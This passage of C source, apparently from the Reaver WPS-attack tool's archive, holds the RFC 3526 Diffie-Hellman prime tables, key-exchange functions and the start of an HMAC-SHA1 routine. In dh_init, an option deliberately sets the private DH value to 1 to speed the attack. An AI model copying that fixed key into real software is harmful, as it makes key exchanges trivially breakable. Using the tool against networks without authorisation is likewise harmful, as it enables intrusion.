0x11, 0x7C, 0x4B, 0x1F, 0xE6, 0x49, 0x28, 0x66, 0x51, 0xEC, 0xE4, 0x5B, 0x3D, 0xC2, 0x00, 0x7C, 0xB8, 0xA1, 0x63, 0xBF, 0x05, 0x98, 0xDA, 0x48, 0x36, 0x1C, 0x55, 0xD3, 0x9A, 0x69, 0x16, 0x3F, 0xA8, 0xFD, 0x24, 0xCF, 0x5F, 0x83, 0x65, 0x5D, 0x23, 0xDC, 0xA3, 0xAD, 0x96, 0x1C, 0x62, 0xF3, 0x56, 0x20, 0x85, 0x52, 0xBB, 0x9E, 0xD5, 0x29, 0x07, 0x70, 0x96, 0x96, 0x6D, 0x67, 0x0C, 0x35, 0x4E, 0x4A, 0xBC, 0x98, 0x04, 0xF1, 0x74, 0x6C, 0x08, 0xCA, 0x18, 0x21, 0x7C, 0x32, 0x90, 0x5E, 0x46, 0x2E, 0x36, 0xCE, 0x3B, 0xE3, 0x9E, 0x77, 0x2C, 0x18, 0x0E, 0x86, 0x03, 0x9B, 0x27, 0x83, 0xA2, 0xEC, 0x07, 0xA2, 0x8F, 0xB5, 0xC5, 0x5D, 0xF0, 0x6F, 0x4C, 0x52, 0xC9, 0xDE, 0x2B, 0xCB, 0xF6, 0x95, 0x58, 0x17, 0x18, 0x39, 0x95, 0x49, 0x7C, 0xEA, 0x95, 0x6A, 0xE5, 0x15, 0xD2, 0x26, 0x18, 0x98, 0xFA, 0x05, 0x10, 0x15, 0x72, 0x8E, 0x5A, 0x8A, 0xAA, 0xC4, 0x2D, 0xAD, 0x33, 0x17, 0x0D, 0x04, 0x50, 0x7A, 0x33, 0xA8, 0x55, 0x21, 0xAB, 0xDF, 0x1C, 0xBA, 0x64, 0xEC, 0xFB, 0x85, 0x04, 0x58, 0xDB, 0xEF, 0x0A, 0x8A, 0xEA, 0x71, 0x57, 0x5D, 0x06, 0x0C, 0x7D, 0xB3, 0x97, 0x0F, 0x85, 0xA6, 0xE1, 0xE4, 0xC7, 0xAB, 0xF5, 0xAE, 0x8C, 0xDB, 0x09, 0x33, 0xD7, 0x1E, 0x8C, 0x94, 0xE0, 0x4A, 0x25, 0x61, 0x9D, 0xCE, 0xE3, 0xD2, 0x26, 0x1A, 0xD2, 0xEE, 0x6B, 0xF1, 0x2F, 0xFA, 0x06, 0xD9, 0x8A, 0x08, 0x64, 0xD8, 0x76, 0x02, 0x73, 0x3E, 0xC8, 0x6A, 0x64, 0x52, 0x1F, 0x2B, 0x18, 0x17, 0x7B, 0x20, 0x0C, 0xBB, 0xE1, 0x17, 0x57, 0x7A, 0x61, 0x5D, 0x6C, 0x77, 0x09, 0x88, 0xC0, 0xBA, 0xD9, 0x46, 0xE2, 0x08, 0xE2, 0x4F, 0xA0, 0x74, 0xE5, 0xAB, 0x31, 0x43, 0xDB, 0x5B, 0xFC, 0xE0, 0xFD, 0x10, 0x8E, 0x4B, 0x82, 0xD1, 0x20, 0xA9, 0x21, 0x08, 0x01, 0x1A, 0x72, 0x3C, 0x12, 0xA7, 0x87, 0xE6, 0xD7, 0x88, 0x71, 0x9A, 0x10, 0xBD, 0xBA, 0x5B, 0x26, 0x99, 0xC3, 0x27, 0x18, 0x6A, 0xF4, 0xE2, 0x3C, 0x1A, 0x94, 0x68, 0x34, 0xB6, 0x15, 0x0B, 0xDA, 0x25, 0x83, 0xE9, 0xCA, 0x2A, 0xD4, 0x4C, 0xE8, 0xDB, 0xBB, 0xC2, 0xDB, 0x04, 0xDE, 0x8E, 0xF9, 0x2E, 0x8E, 0xFC, 0x14, 0x1F, 0xBE, 0xCA, 0xA6, 0x28, 0x7C, 0x59, 0x47, 0x4E, 0x6B, 0xC0, 0x5D, 0x99, 0xB2, 0x96, 0x4F, 0xA0, 0x90, 0xC3, 0xA2, 0x23, 0x3B, 0xA1, 0x86, 0x51, 0x5B, 0xE7, 0xED, 0x1F, 0x61, 0x29, 0x70, 0xCE, 0xE2, 0xD7, 0xAF, 0xB8, 0x1B, 0xDD, 0x76, 0x21, 0x70, 0x48, 0x1C, 0xD0, 0x06, 0x91, 0x27, 0xD5, 0xB0, 0x5A, 0xA9, 0x93, 0xB4, 0xEA, 0x98, 0x8D, 0x8F, 0xDD, 0xC1, 0x86, 0xFF, 0xB7, 0xDC, 0x90, 0xA6, 0xC0, 0x8F, 0x4D, 0xF4, 0x35, 0xC9, 0x34, 0x06, 0x31, 0x99, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF }; /* RFC 3526, 6. Group 17 - 6144 Bit MODP * Generator: 2 * Prime: 2^6144 - 2^6080 - 1 + 2^64 * { [2^6014 pi] + 929484 } */ static const u8 dh_group17_generator[1] = { 0x02 }; static const u8 dh_group17_prime[768] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34, 0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1, 0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74, 0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22, 0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD, 0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B, 0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37, 0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45, 0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6, 0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B, 0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED, 0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5, 0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6, 0x49, 0x28, 0x66, 0x51, 0xEC, 0xE4, 0x5B, 0x3D, 0xC2, 0x00, 0x7C, 0xB8, 0xA1, 0x63, 0xBF, 0x05, 0x98, 0xDA, 0x48, 0x36, 0x1C, 0x55, 0xD3, 0x9A, 0x69, 0x16, 0x3F, 0xA8, 0xFD, 0x24, 0xCF, 0x5F, 0x83, 0x65, 0x5D, 0x23, 0xDC, 0xA3, 0xAD, 0x96, 0x1C, 0x62, 0xF3, 0x56, 0x20, 0x85, 0x52, 0xBB, 0x9E, 0xD5, 0x29, 0x07, 0x70, 0x96, 0x96, 0x6D, 0x67, 0x0C, 0x35, 0x4E, 0x4A, 0xBC, 0x98, 0x04, 0xF1, 0x74, 0x6C, 0x08, 0xCA, 0x18, 0x21, 0x7C, 0x32, 0x90, 0x5E, 0x46, 0x2E, 0x36, 0xCE, 0x3B, 0xE3, 0x9E, 0x77, 0x2C, 0x18, 0x0E, 0x86, 0x03, 0x9B, 0x27, 0x83, 0xA2, 0xEC, 0x07, 0xA2, 0x8F, 0xB5, 0xC5, 0x5D, 0xF0, 0x6F, 0x4C, 0x52, 0xC9, 0xDE, 0x2B, 0xCB, 0xF6, 0x95, 0x58, 0x17, 0x18, 0x39, 0x95, 0x49, 0x7C, 0xEA, 0x95, 0x6A, 0xE5, 0x15, 0xD2, 0x26, 0x18, 0x98, 0xFA, 0x05, 0x10, 0x15, 0x72, 0x8E, 0x5A, 0x8A, 0xAA, 0xC4, 0x2D, 0xAD, 0x33, 0x17, 0x0D, 0x04, 0x50, 0x7A, 0x33, 0xA8, 0x55, 0x21, 0xAB, 0xDF, 0x1C, 0xBA, 0x64, 0xEC, 0xFB, 0x85, 0x04, 0x58, 0xDB, 0xEF, 0x0A, 0x8A, 0xEA, 0x71, 0x57, 0x5D, 0x06, 0x0C, 0x7D, 0xB3, 0x97, 0x0F, 0x85, 0xA6, 0xE1, 0xE4, 0xC7, 0xAB, 0xF5, 0xAE, 0x8C, 0xDB, 0x09, 0x33, 0xD7, 0x1E, 0x8C, 0x94, 0xE0, 0x4A, 0x25, 0x61, 0x9D, 0xCE, 0xE3, 0xD2, 0x26, 0x1A, 0xD2, 0xEE, 0x6B, 0xF1, 0x2F, 0xFA, 0x06, 0xD9, 0x8A, 0x08, 0x64, 0xD8, 0x76, 0x02, 0x73, 0x3E, 0xC8, 0x6A, 0x64, 0x52, 0x1F, 0x2B, 0x18, 0x17, 0x7B, 0x20, 0x0C, 0xBB, 0xE1, 0x17, 0x57, 0x7A, 0x61, 0x5D, 0x6C, 0x77, 0x09, 0x88, 0xC0, 0xBA, 0xD9, 0x46, 0xE2, 0x08, 0xE2, 0x4F, 0xA0, 0x74, 0xE5, 0xAB, 0x31, 0x43, 0xDB, 0x5B, 0xFC, 0xE0, 0xFD, 0x10, 0x8E, 0x4B, 0x82, 0xD1, 0x20, 0xA9, 0x21, 0x08, 0x01, 0x1A, 0x72, 0x3C, 0x12, 0xA7, 0x87, 0xE6, 0xD7, 0x88, 0x71, 0x9A, 0x10, 0xBD, 0xBA, 0x5B, 0x26, 0x99, 0xC3, 0x27, 0x18, 0x6A, 0xF4, 0xE2, 0x3C, 0x1A, 0x94, 0x68, 0x34, 0xB6, 0x15, 0x0B, 0xDA, 0x25, 0x83, 0xE9, 0xCA, 0x2A, 0xD4, 0x4C, 0xE8, 0xDB, 0xBB, 0xC2, 0xDB, 0x04, 0xDE, 0x8E, 0xF9, 0x2E, 0x8E, 0xFC, 0x14, 0x1F, 0xBE, 0xCA, 0xA6, 0x28, 0x7C, 0x59, 0x47, 0x4E, 0x6B, 0xC0, 0x5D, 0x99, 0xB2, 0x96, 0x4F, 0xA0, 0x90, 0xC3, 0xA2, 0x23, 0x3B, 0xA1, 0x86, 0x51, 0x5B, 0xE7, 0xED, 0x1F, 0x61, 0x29, 0x70, 0xCE, 0xE2, 0xD7, 0xAF, 0xB8, 0x1B, 0xDD, 0x76, 0x21, 0x70, 0x48, 0x1C, 0xD0, 0x06, 0x91, 0x27, 0xD5, 0xB0, 0x5A, 0xA9, 0x93, 0xB4, 0xEA, 0x98, 0x8D, 0x8F, 0xDD, 0xC1, 0x86, 0xFF, 0xB7, 0xDC, 0x90, 0xA6, 0xC0, 0x8F, 0x4D, 0xF4, 0x35, 0xC9, 0x34, 0x02, 0x84, 0x92, 0x36, 0xC3, 0xFA, 0xB4, 0xD2, 0x7C, 0x70, 0x26, 0xC1, 0xD4, 0xDC, 0xB2, 0x60, 0x26, 0x46, 0xDE, 0xC9, 0x75, 0x1E, 0x76, 0x3D, 0xBA, 0x37, 0xBD, 0xF8, 0xFF, 0x94, 0x06, 0xAD, 0x9E, 0x53, 0x0E, 0xE5, 0xDB, 0x38, 0x2F, 0x41, 0x30, 0x01, 0xAE, 0xB0, 0x6A, 0x53, 0xED, 0x90, 0x27, 0xD8, 0x31, 0x17, 0x97, 0x27, 0xB0, 0x86, 0x5A, 0x89, 0x18, 0xDA, 0x3E, 0xDB, 0xEB, 0xCF, 0x9B, 0x14, 0xED, 0x44, 0xCE, 0x6C, 0xBA, 0xCE, 0xD4, 0xBB, 0x1B, 0xDB, 0x7F, 0x14, 0x47, 0xE6, 0xCC, 0x25, 0x4B, 0x33, 0x20, 0x51, 0x51, 0x2B, 0xD7, 0xAF, 0x42, 0x6F, 0xB8, 0xF4, 0x01, 0x37, 0x8C, 0xD2, 0xBF, 0x59, 0x83, 0xCA, 0x01, 0xC6, 0x4B, 0x92, 0xEC, 0xF0, 0x32, 0xEA, 0x15, 0xD1, 0x72, 0x1D, 0x03, 0xF4, 0x82, 0xD7, 0xCE, 0x6E, 0x74, 0xFE, 0xF6, 0xD5, 0x5E, 0x70, 0x2F, 0x46, 0x98, 0x0C, 0x82, 0xB5, 0xA8, 0x40, 0x31, 0x90, 0x0B, 0x1C, 0x9E, 0x59, 0xE7, 0xC9, 0x7F, 0xBE, 0xC7, 0xE8, 0xF3, 0x23, 0xA9, 0x7A, 0x7E, 0x36, 0xCC, 0x88, 0xBE, 0x0F, 0x1D, 0x45, 0xB7, 0xFF, 0x58, 0x5A, 0xC5, 0x4B, 0xD4, 0x07, 0xB2, 0x2B, 0x41, 0x54, 0xAA, 0xCC, 0x8F, 0x6D, 0x7E, 0xBF, 0x48, 0xE1, 0xD8, 0x14, 0xCC, 0x5E, 0xD2, 0x0F, 0x80, 0x37, 0xE0, 0xA7, 0x97, 0x15, 0xEE, 0xF2, 0x9B, 0xE3, 0x28, 0x06, 0xA1, 0xD5, 0x8B, 0xB7, 0xC5, 0xDA, 0x76, 0xF5, 0x50, 0xAA, 0x3D, 0x8A, 0x1F, 0xBF, 0xF0, 0xEB, 0x19, 0xCC, 0xB1, 0xA3, 0x13, 0xD5, 0x5C, 0xDA, 0x56, 0xC9, 0xEC, 0x2E, 0xF2, 0x96, 0x32, 0x38, 0x7F, 0xE8, 0xD7, 0x6E, 0x3C, 0x04, 0x68, 0x04, 0x3E, 0x8F, 0x66, 0x3F, 0x48, 0x60, 0xEE, 0x12, 0xBF, 0x2D, 0x5B, 0x0B, 0x74, 0x74, 0xD6, 0xE6, 0x94, 0xF9, 0x1E, 0x6D, 0xCC, 0x40, 0x24, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF }; /* RFC 3526, 7. Group 18 - 8192 Bit MODP * Generator: 2 * Prime: 2^8192 - 2^8128 - 1 + 2^64 * { [2^8062 pi] + 4743158 } */ static const u8 dh_group18_generator[1] = { 0x02 }; static const u8 dh_group18_prime[1024] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34, 0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1, 0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74, 0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22, 0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD, 0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B, 0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37, 0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45, 0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6, 0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B, 0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED, 0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5, 0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6, 0x49, 0x28, 0x66, 0x51, 0xEC, 0xE4, 0x5B, 0x3D, 0xC2, 0x00, 0x7C, 0xB8, 0xA1, 0x63, 0xBF, 0x05, 0x98, 0xDA, 0x48, 0x36, 0x1C, 0x55, 0xD3, 0x9A, 0x69, 0x16, 0x3F, 0xA8, 0xFD, 0x24, 0xCF, 0x5F, 0x83, 0x65, 0x5D, 0x23, 0xDC, 0xA3, 0xAD, 0x96, 0x1C, 0x62, 0xF3, 0x56, 0x20, 0x85, 0x52, 0xBB, 0x9E, 0xD5, 0x29, 0x07, 0x70, 0x96, 0x96, 0x6D, 0x67, 0x0C, 0x35, 0x4E, 0x4A, 0xBC, 0x98, 0x04, 0xF1, 0x74, 0x6C, 0x08, 0xCA, 0x18, 0x21, 0x7C, 0x32, 0x90, 0x5E, 0x46, 0x2E, 0x36, 0xCE, 0x3B, 0xE3, 0x9E, 0x77, 0x2C, 0x18, 0x0E, 0x86, 0x03, 0x9B, 0x27, 0x83, 0xA2, 0xEC, 0x07, 0xA2, 0x8F, 0xB5, 0xC5, 0x5D, 0xF0, 0x6F, 0x4C, 0x52, 0xC9, 0xDE, 0x2B, 0xCB, 0xF6, 0x95, 0x58, 0x17, 0x18, 0x39, 0x95, 0x49, 0x7C, 0xEA, 0x95, 0x6A, 0xE5, 0x15, 0xD2, 0x26, 0x18, 0x98, 0xFA, 0x05, 0x10, 0x15, 0x72, 0x8E, 0x5A, 0x8A, 0xAA, 0xC4, 0x2D, 0xAD, 0x33, 0x17, 0x0D, 0x04, 0x50, 0x7A, 0x33, 0xA8, 0x55, 0x21, 0xAB, 0xDF, 0x1C, 0xBA, 0x64, 0xEC, 0xFB, 0x85, 0x04, 0x58, 0xDB, 0xEF, 0x0A, 0x8A, 0xEA, 0x71, 0x57, 0x5D, 0x06, 0x0C, 0x7D, 0xB3, 0x97, 0x0F, 0x85, 0xA6, 0xE1, 0xE4, 0xC7, 0xAB, 0xF5, 0xAE, 0x8C, 0xDB, 0x09, 0x33, 0xD7, 0x1E, 0x8C, 0x94, 0xE0, 0x4A, 0x25, 0x61, 0x9D, 0xCE, 0xE3, 0xD2, 0x26, 0x1A, 0xD2, 0xEE, 0x6B, 0xF1, 0x2F, 0xFA, 0x06, 0xD9, 0x8A, 0x08, 0x64, 0xD8, 0x76, 0x02, 0x73, 0x3E, 0xC8, 0x6A, 0x64, 0x52, 0x1F, 0x2B, 0x18, 0x17, 0x7B, 0x20, 0x0C, 0xBB, 0xE1, 0x17, 0x57, 0x7A, 0x61, 0x5D, 0x6C, 0x77, 0x09, 0x88, 0xC0, 0xBA, 0xD9, 0x46, 0xE2, 0x08, 0xE2, 0x4F, 0xA0, 0x74, 0xE5, 0xAB, 0x31, 0x43, 0xDB, 0x5B, 0xFC, 0xE0, 0xFD, 0x10, 0x8E, 0x4B, 0x82, 0xD1, 0x20, 0xA9, 0x21, 0x08, 0x01, 0x1A, 0x72, 0x3C, 0x12, 0xA7, 0x87, 0xE6, 0xD7, 0x88, 0x71, 0x9A, 0x10, 0xBD, 0xBA, 0x5B, 0x26, 0x99, 0xC3, 0x27, 0x18, 0x6A, 0xF4, 0xE2, 0x3C, 0x1A, 0x94, 0x68, 0x34, 0xB6, 0x15, 0x0B, 0xDA, 0x25, 0x83, 0xE9, 0xCA, 0x2A, 0xD4, 0x4C, 0xE8, 0xDB, 0xBB, 0xC2, 0xDB, 0x04, 0xDE, 0x8E, 0xF9, 0x2E, 0x8E, 0xFC, 0x14, 0x1F, 0xBE, 0xCA, 0xA6, 0x28, 0x7C, 0x59, 0x47, 0x4E, 0x6B, 0xC0, 0x5D, 0x99, 0xB2, 0x96, 0x4F, 0xA0, 0x90, 0xC3, 0xA2, 0x23, 0x3B, 0xA1, 0x86, 0x51, 0x5B, 0xE7, 0xED, 0x1F, 0x61, 0x29, 0x70, 0xCE, 0xE2, 0xD7, 0xAF, 0xB8, 0x1B, 0xDD, 0x76, 0x21, 0x70, 0x48, 0x1C, 0xD0, 0x06, 0x91, 0x27, 0xD5, 0xB0, 0x5A, 0xA9, 0x93, 0xB4, 0xEA, 0x98, 0x8D, 0x8F, 0xDD, 0xC1, 0x86, 0xFF, 0xB7, 0xDC, 0x90, 0xA6, 0xC0, 0x8F, 0x4D, 0xF4, 0x35, 0xC9, 0x34, 0x02, 0x84, 0x92, 0x36, 0xC3, 0xFA, 0xB4, 0xD2, 0x7C, 0x70, 0x26, 0xC1, 0xD4, 0xDC, 0xB2, 0x60, 0x26, 0x46, 0xDE, 0xC9, 0x75, 0x1E, 0x76, 0x3D, 0xBA, 0x37, 0xBD, 0xF8, 0xFF, 0x94, 0x06, 0xAD, 0x9E, 0x53, 0x0E, 0xE5, 0xDB, 0x38, 0x2F, 0x41, 0x30, 0x01, 0xAE, 0xB0, 0x6A, 0x53, 0xED, 0x90, 0x27, 0xD8, 0x31, 0x17, 0x97, 0x27, 0xB0, 0x86, 0x5A, 0x89, 0x18, 0xDA, 0x3E, 0xDB, 0xEB, 0xCF, 0x9B, 0x14, 0xED, 0x44, 0xCE, 0x6C, 0xBA, 0xCE, 0xD4, 0xBB, 0x1B, 0xDB, 0x7F, 0x14, 0x47, 0xE6, 0xCC, 0x25, 0x4B, 0x33, 0x20, 0x51, 0x51, 0x2B, 0xD7, 0xAF, 0x42, 0x6F, 0xB8, 0xF4, 0x01, 0x37, 0x8C, 0xD2, 0xBF, 0x59, 0x83, 0xCA, 0x01, 0xC6, 0x4B, 0x92, 0xEC, 0xF0, 0x32, 0xEA, 0x15, 0xD1, 0x72, 0x1D, 0x03, 0xF4, 0x82, 0xD7, 0xCE, 0x6E, 0x74, 0xFE, 0xF6, 0xD5, 0x5E, 0x70, 0x2F, 0x46, 0x98, 0x0C, 0x82, 0xB5, 0xA8, 0x40, 0x31, 0x90, 0x0B, 0x1C, 0x9E, 0x59, 0xE7, 0xC9, 0x7F, 0xBE, 0xC7, 0xE8, 0xF3, 0x23, 0xA9, 0x7A, 0x7E, 0x36, 0xCC, 0x88, 0xBE, 0x0F, 0x1D, 0x45, 0xB7, 0xFF, 0x58, 0x5A, 0xC5, 0x4B, 0xD4, 0x07, 0xB2, 0x2B, 0x41, 0x54, 0xAA, 0xCC, 0x8F, 0x6D, 0x7E, 0xBF, 0x48, 0xE1, 0xD8, 0x14, 0xCC, 0x5E, 0xD2, 0x0F, 0x80, 0x37, 0xE0, 0xA7, 0x97, 0x15, 0xEE, 0xF2, 0x9B, 0xE3, 0x28, 0x06, 0xA1, 0xD5, 0x8B, 0xB7, 0xC5, 0xDA, 0x76, 0xF5, 0x50, 0xAA, 0x3D, 0x8A, 0x1F, 0xBF, 0xF0, 0xEB, 0x19, 0xCC, 0xB1, 0xA3, 0x13, 0xD5, 0x5C, 0xDA, 0x56, 0xC9, 0xEC, 0x2E, 0xF2, 0x96, 0x32, 0x38, 0x7F, 0xE8, 0xD7, 0x6E, 0x3C, 0x04, 0x68, 0x04, 0x3E, 0x8F, 0x66, 0x3F, 0x48, 0x60, 0xEE, 0x12, 0xBF, 0x2D, 0x5B, 0x0B, 0x74, 0x74, 0xD6, 0xE6, 0x94, 0xF9, 0x1E, 0x6D, 0xBE, 0x11, 0x59, 0x74, 0xA3, 0x92, 0x6F, 0x12, 0xFE, 0xE5, 0xE4, 0x38, 0x77, 0x7C, 0xB6, 0xA9, 0x32, 0xDF, 0x8C, 0xD8, 0xBE, 0xC4, 0xD0, 0x73, 0xB9, 0x31, 0xBA, 0x3B, 0xC8, 0x32, 0xB6, 0x8D, 0x9D, 0xD3, 0x00, 0x74, 0x1F, 0xA7, 0xBF, 0x8A, 0xFC, 0x47, 0xED, 0x25, 0x76, 0xF6, 0x93, 0x6B, 0xA4, 0x24, 0x66, 0x3A, 0xAB, 0x63, 0x9C, 0x5A, 0xE4, 0xF5, 0x68, 0x34, 0x23, 0xB4, 0x74, 0x2B, 0xF1, 0xC9, 0x78, 0x23, 0x8F, 0x16, 0xCB, 0xE3, 0x9D, 0x65, 0x2D, 0xE3, 0xFD, 0xB8, 0xBE, 0xFC, 0x84, 0x8A, 0xD9, 0x22, 0x22, 0x2E, 0x04, 0xA4, 0x03, 0x7C, 0x07, 0x13, 0xEB, 0x57, 0xA8, 0x1A, 0x23, 0xF0, 0xC7, 0x34, 0x73, 0xFC, 0x64, 0x6C, 0xEA, 0x30, 0x6B, 0x4B, 0xCB, 0xC8, 0x86, 0x2F, 0x83, 0x85, 0xDD, 0xFA, 0x9D, 0x4B, 0x7F, 0xA2, 0xC0, 0x87, 0xE8, 0x79, 0x68, 0x33, 0x03, 0xED, 0x5B, 0xDD, 0x3A, 0x06, 0x2B, 0x3C, 0xF5, 0xB3, 0xA2, 0x78, 0xA6, 0x6D, 0x2A, 0x13, 0xF8, 0x3F, 0x44, 0xF8, 0x2D, 0xDF, 0x31, 0x0E, 0xE0, 0x74, 0xAB, 0x6A, 0x36, 0x45, 0x97, 0xE8, 0x99, 0xA0, 0x25, 0x5D, 0xC1, 0x64, 0xF3, 0x1C, 0xC5, 0x08, 0x46, 0x85, 0x1D, 0xF9, 0xAB, 0x48, 0x19, 0x5D, 0xED, 0x7E, 0xA1, 0xB1, 0xD5, 0x10, 0xBD, 0x7E, 0xE7, 0x4D, 0x73, 0xFA, 0xF3, 0x6B, 0xC3, 0x1E, 0xCF, 0xA2, 0x68, 0x35, 0x90, 0x46, 0xF4, 0xEB, 0x87, 0x9F, 0x92, 0x40, 0x09, 0x43, 0x8B, 0x48, 0x1C, 0x6C, 0xD7, 0x88, 0x9A, 0x00, 0x2E, 0xD5, 0xEE, 0x38, 0x2B, 0xC9, 0x19, 0x0D, 0xA6, 0xFC, 0x02, 0x6E, 0x47, 0x95, 0x58, 0xE4, 0x47, 0x56, 0x77, 0xE9, 0xAA, 0x9E, 0x30, 0x50, 0xE2, 0x76, 0x56, 0x94, 0xDF, 0xC8, 0x1F, 0x56, 0xE8, 0x80, 0xB9, 0x6E, 0x71, 0x60, 0xC9, 0x80, 0xDD, 0x98, 0xED, 0xD3, 0xDF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF }; #endif /* ALL_DH_GROUPS */ #define DH_GROUP(id) \ { id, dh_group ## id ## _generator, sizeof(dh_group ## id ## _generator), \ dh_group ## id ## _prime, sizeof(dh_group ## id ## _prime) } static struct dh_group dh_groups[] = { DH_GROUP(5), #ifdef ALL_DH_GROUPS DH_GROUP(1), DH_GROUP(2), DH_GROUP(14), DH_GROUP(15), DH_GROUP(16), DH_GROUP(17), DH_GROUP(18) #endif /* ALL_DH_GROUPS */ }; #define NUM_DH_GROUPS (sizeof(dh_groups) / sizeof(dh_groups[0])) const struct dh_group * dh_groups_get(int id) { size_t i; for (i = 0; i < NUM_DH_GROUPS; i++) { if (dh_groups[i].id == id) return &dh_groups[i]; } return NULL; } /** * dh_init - Initialize Diffie-Hellman handshake * @dh: Selected Diffie-Hellman group * @priv: Pointer for returning Diffie-Hellman private key * Returns: Diffie-Hellman public value */ struct wpabuf * dh_init(const struct dh_group *dh, struct wpabuf **priv) { struct wpabuf *pv; size_t pv_len; int retval = 1; if (dh == NULL) return NULL; wpabuf_free(*priv); *priv = wpabuf_alloc(dh->prime_len); if (*priv == NULL) return NULL; if(get_dh_small()) { /* Use small DH secret (1) to reduce calculation time on AP */ if(!memset(wpabuf_put(*priv, 1), 1, 1)) retval = 0; } else { if(os_get_random(wpabuf_put(*priv, dh->prime_len), dh->prime_len)) retval = 0; } if(!retval) { wpabuf_free(*priv); *priv = NULL; return NULL; } if (os_memcmp(wpabuf_head(*priv), dh->prime, dh->prime_len) > 0) { /* Make sure private value is smaller than prime */ *(wpabuf_mhead_u8(*priv)) = 0; } wpa_hexdump_buf_key(/*MSG_INFO*/ MSG_DEBUG, "DH: private value", *priv); pv_len = dh->prime_len; pv = wpabuf_alloc(pv_len); if (pv == NULL) return NULL; if (crypto_mod_exp(dh->generator, dh->generator_len, wpabuf_head(*priv), wpabuf_len(*priv), dh->prime, dh->prime_len, wpabuf_mhead(pv), &pv_len) < 0) { wpabuf_free(pv); wpa_printf(MSG_INFO, "DH: crypto_mod_exp failed"); return NULL; } wpabuf_put(pv, pv_len); wpa_hexdump_buf(MSG_DEBUG, "DH: public value", pv); return pv; } /** * dh_derive_shared - Derive shared Diffie-Hellman key * @peer_public: Diffie-Hellman public value from peer * @own_private: Diffie-Hellman private key from dh_init() * @dh: Selected Diffie-Hellman group * Returns: Diffie-Hellman shared key */ struct wpabuf * dh_derive_shared(const struct wpabuf *peer_public, const struct wpabuf *own_private, const struct dh_group *dh) { struct wpabuf *shared; size_t shared_len; if (dh == NULL || peer_public == NULL || own_private == NULL) return NULL; shared_len = dh->prime_len; shared = wpabuf_alloc(shared_len); if (shared == NULL) return NULL; if (crypto_mod_exp(wpabuf_head(peer_public), wpabuf_len(peer_public), wpabuf_head(own_private), wpabuf_len(own_private), dh->prime, dh->prime_len, wpabuf_mhead(shared), &shared_len) < 0) { wpabuf_free(shared); wpa_printf(MSG_INFO, "DH: crypto_mod_exp failed"); return NULL; } wpabuf_put(shared, shared_len); wpa_hexdump_buf_key(MSG_DEBUG, "DH: shared key", shared); return shared; } reaver-1.4/src/crypto/sha1.c0000755000175000017500000001014111705505260015304 0ustar reaverreaver/* * SHA1 hash implementation and interface functions * Copyright (c) 2003-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "sha1.h" #include "crypto.h" /** * hmac_sha1_vector - HMAC-SHA1 over data vector (RFC 2104) * @key: Key for HMAC operations * @key_len: Length of the key in bytes * @num_elem: Number of elements in the data vector * @addr: Pointers to the data areas * @len: Lengths of the data blocks * @mac: Buffer for the hash (20 bytes) * Returns: 0 on success, -1 on failure */ int hmac_sha1_vector(const u8 *key, size_t key_len, size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { unsigned char k_pad[64]; /* padding - key XORd with ipad/opad */ unsigned char tk[20]; const u8 *_addr[6]; size_t _len[6], i; if (num_elem > 5) { /* * Fixed limit on the number of fragments to avoid having to * allocate memory (which could fail). */ return -1; } /* if key is longer than 64 bytes reset it to key = SHA1(key) */ if (key_len > 64) { if (sha1_vector(1, &key, &key_len, tk)) return -1; key = tk; key_len = 20; } /* the HMAC_SHA1 transform looks like: * * SHA1(K XOR opad, SHA1(K XOR ipad, text)) * * where K is an n byte key * ipad is the byte 0x36 repeated 64 times * opad is the byte 0x5c repeated 64 times * and text is the data being protected */ /* start out by storing key in ipad */ os_memset(k_pad, 0, sizeof(k_pad)); os_memcpy(k_pad, key, key_len); /* XOR key with ipad values */ for (i = 0; i < 64; i++) k_pad[i] ^= 0x36; /* perform inner SHA1 */ _addr[0] = k_pad; _len[0] = 64; for (i = 0; i < 